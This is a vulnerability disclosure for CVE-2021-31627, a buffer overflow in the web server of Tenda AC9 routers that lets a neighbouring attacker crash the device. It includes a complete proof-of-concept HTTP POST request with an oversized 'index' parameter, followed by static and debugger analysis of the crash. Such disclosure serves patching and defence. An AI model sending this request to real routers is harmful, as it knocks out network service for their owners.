CVE-2021-31627

1、Basci information

vendor: Tenda

product: AC9 and so on

version: V1.0V15.03.05.19（6318）、V3.0V15.03.06.42_multi and so on

Vulnerability type: buffer overflow

Vulnerability Effect: Denial of Service

2、Principle description of vulnerability technology

Affected Vulnerability Components:

- File name: bin/httpd
- function: wifi wps setting

3、Vulnerability value

Stable reproducibility: Yes

exploit conditions：

- attack vector type: neighboring network
- Stability of exploit: every attack can be successful
- Whether the product is configured by default: there are loopholes in the functional components that are enabled at the factory

4、PoC

```
POST /goform/WifiWpsOOB HTTP/1.1
Host: 192.168.56.102
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: password=lqetgb
Content-Length: 2444

index=ttttaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

5、Vulnerability principle

5.1 static analysis

After analysis, the code causing the vulnerability is shown in the following figure. Because the parameter `index` imported from outside is not checked, the attacker can directly execute the `sprintf` of the 54 lines of the vulnerability function by constructing malicious data, resulting in the effect of buffer overflow, which eventually leads to denial of service

5.2 dynamic analysis

The crash site is as follows

Specific debugging shows that the breakpoint is set before the assembly code `0x0009B928` corresponding to `sprintf` of 54 lines of IDA disassembly code, and the contents of register SP are normal before the program executes this statement

When this statement is executed, an overflow occurs, and the contents of register SP become as follows

The reason for the denial of service is shown in the following figure. The instruction `pop {r4,r5,fp,pc}` at the address `0x0009B940` pops up the stack contents to the register PC, which causes the program to execute a nonexistent command, and finally causes the effect of denial of service

6、CNVD reference

CNVD reference